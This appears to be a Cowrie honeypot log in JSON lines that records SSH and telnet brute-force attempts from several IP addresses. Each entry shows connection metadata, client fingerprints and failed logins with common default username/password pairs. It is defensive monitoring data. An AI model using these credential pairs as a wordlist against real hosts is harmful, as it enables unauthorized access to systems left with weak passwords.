{"eventid":"cowrie.login.failed","username":"b'\\xd9\\xcb\\xdb\\xcd\\xca'","password":"b'\\xd9\\xcb\\xdb\\xcd\\xca'","message":"login attempt [b'\\xd9\\xcb\\xdb\\xcd\\xca'/b'\\xd9\\xcb\\xdb\\xcd\\xca'] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:28.031108Z","src_ip":"115.160.92.142","session":"d6f5d43fa948","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44498,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3d9c041a3e2","protocol":"ssh","message":"New connection: 45.156.87.253:44498 (10.17.0.5:22) [session: f3d9c041a3e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:28.794616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:28.798871Z","src_ip":"45.156.87.253","session":"f3d9c041a3e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:28.881837Z","src_ip":"45.156.87.253","session":"f3d9c041a3e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:28.931017Z","src_ip":"115.160.92.142","session":"d6f5d43fa948","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123321","message":"login attempt [ubuntu/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:29.131664Z","src_ip":"45.156.87.253","session":"f3d9c041a3e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:30.219413Z","src_ip":"45.156.87.253","session":"f3d9c041a3e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:30.335366Z","src_ip":"115.160.92.142","session":"d6f5d43fa948","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44864,"dst_ip":"10.17.0.5","dst_port":22,"session":"6df45b54bc63","protocol":"ssh","message":"New connection: 45.156.87.253:44864 (10.17.0.5:22) [session: 6df45b54bc63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:31.751169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:31.753976Z","src_ip":"45.156.87.253","session":"6df45b54bc63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:31.834189Z","src_ip":"45.156.87.253","session":"6df45b54bc63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1234567890","message":"login attempt [minecraft/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:32.076266Z","src_ip":"45.156.87.253","session":"6df45b54bc63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:33.159037Z","src_ip":"45.156.87.253","session":"6df45b54bc63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44888,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2190aa479b8","protocol":"ssh","message":"New connection: 45.156.87.253:44888 (10.17.0.5:22) [session: f2190aa479b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:34.713608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:34.717355Z","src_ip":"45.156.87.253","session":"f2190aa479b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:34.797559Z","src_ip":"45.156.87.253","session":"f2190aa479b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo","message":"login attempt [odoo14/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:35.046967Z","src_ip":"45.156.87.253","session":"f2190aa479b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:36.130262Z","src_ip":"45.156.87.253","session":"f2190aa479b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44930,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd3622a97be4","protocol":"ssh","message":"New connection: 45.156.87.253:44930 (10.17.0.5:22) [session: fd3622a97be4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:37.710500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:37.714025Z","src_ip":"45.156.87.253","session":"fd3622a97be4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:37.793952Z","src_ip":"45.156.87.253","session":"fd3622a97be4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop","message":"login attempt [root/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:38.035046Z","src_ip":"45.156.87.253","session":"fd3622a97be4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":44032,"dst_ip":"10.17.0.5","dst_port":22,"session":"a273161d2261","protocol":"ssh","message":"New connection: 143.20.185.207:44032 (10.17.0.5:22) [session: a273161d2261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:39.003813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:39.012825Z","src_ip":"143.20.185.207","session":"a273161d2261","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:39.117729Z","src_ip":"45.156.87.253","session":"fd3622a97be4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:39.123129Z","src_ip":"143.20.185.207","session":"a273161d2261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZENNIXKY#8VCPU16GBAMD","message":"login attempt [root/ZENNIXKY#8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:39.561935Z","src_ip":"143.20.185.207","session":"a273161d2261","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:40.680695Z","src_ip":"143.20.185.207","session":"a273161d2261","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":54628,"dst_ip":"10.17.0.5","dst_port":22,"session":"7abcd0bed418","protocol":"ssh","message":"New connection: 45.156.87.253:54628 (10.17.0.5:22) [session: 7abcd0bed418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:40.773401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:40.777086Z","src_ip":"45.156.87.253","session":"7abcd0bed418","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:40.857551Z","src_ip":"45.156.87.253","session":"7abcd0bed418","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:41.099567Z","src_ip":"45.156.87.253","session":"7abcd0bed418","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":49966,"dst_ip":"10.17.0.5","dst_port":23,"session":"5715da5c11c8","protocol":"telnet","message":"New connection: 72.167.226.244:49966 (10.17.0.5:23) [session: 5715da5c11c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:41.353964Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:42.182036Z","src_ip":"45.156.87.253","session":"7abcd0bed418","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":49970,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d54aac69459","protocol":"telnet","message":"New connection: 72.167.226.244:49970 (10.17.0.5:23) [session: 8d54aac69459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:42.497978Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":54642,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c4ebc6a88ef","protocol":"ssh","message":"New connection: 45.156.87.253:54642 (10.17.0.5:22) [session: 2c4ebc6a88ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:43.828639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:43.834960Z","src_ip":"45.156.87.253","session":"2c4ebc6a88ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:43.915541Z","src_ip":"45.156.87.253","session":"2c4ebc6a88ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web","password":"web123","message":"login attempt [web/web123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:44.158765Z","src_ip":"45.156.87.253","session":"2c4ebc6a88ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:45.337344Z","src_ip":"45.156.87.253","session":"2c4ebc6a88ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":54646,"dst_ip":"10.17.0.5","dst_port":22,"session":"c063a39d6d86","protocol":"ssh","message":"New connection: 45.156.87.253:54646 (10.17.0.5:22) [session: c063a39d6d86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:46.816285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:46.820267Z","src_ip":"45.156.87.253","session":"c063a39d6d86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:46.900879Z","src_ip":"45.156.87.253","session":"c063a39d6d86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wizard","password":"wizard","message":"login attempt [wizard/wizard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:47.142278Z","src_ip":"45.156.87.253","session":"c063a39d6d86","protocol":"ssh"}
